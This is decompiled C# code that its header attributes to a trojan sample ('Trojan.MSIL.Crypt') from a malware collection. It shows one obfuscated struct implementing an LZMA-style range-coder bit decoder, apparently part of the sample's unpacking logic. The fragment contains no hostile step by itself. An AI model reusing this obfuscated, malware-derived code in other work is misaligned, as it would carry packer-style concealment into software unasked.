// Decompiled with JetBrains decompiler
// Type: .
// Assembly: !, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: AD88AA27-A10E-48A5-83FB-D8F29C49A3B3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hnoh-10455cb5cfd07978bd68fafedebf0c7ecc4003a27c482d11dfa7e861dd4823b9.exe

using \u0001\u0005;

namespace \u0001\u0005
{
  internal struct \u0007\u0001
  {
    public const int \u0007\u0002 = 11;
    public const uint \u0007\u0003 = 2048;
    private const int \u0007\u0004 = 5;
    private uint \u0007\u0005;

    public void \u0007\u0006(int numMoveBits, uint symbol)
    {
      if (symbol == 0U)
        this.\u0007\u0005 += 2048U - this.\u0007\u0005 >> numMoveBits;
      else
        this.\u0007\u0005 -= this.\u0007\u0005 >> numMoveBits;
    }

    public void \u0001\u001B() => this.\u0007\u0005 = 1024U;

    public uint \u0007\u000C(\u0006\u0005 rangeDecoder)
    {
      uint num = (rangeDecoder.\u000F >> 11) * this.\u0007\u0005;
      if (rangeDecoder.\u0007\u000D < num)
      {
        rangeDecoder.\u000F = num;
        this.\u0007\u0005 += 2048U - this.\u0007\u0005 >> 5;
        if (rangeDecoder.\u000F < 16777216U)
        {
          rangeDecoder.\u0007\u000D = rangeDecoder.\u0007\u000D << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
          rangeDecoder.\u000F <<= 8;
        }
        return 0;
      }
      rangeDecoder.\u000F -= num;
      rangeDecoder.\u0007\u000D -= num;
      this.\u0007\u0005 -= this.\u0007\u0005 >> 5;
      if (rangeDecoder.\u000F < 16777216U)
      {
        rangeDecoder.\u0007\u000D = rangeDecoder.\u0007\u000D << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte();
        rangeDecoder.\u000F <<= 8;
      }
      return 1;
    }
  }
}
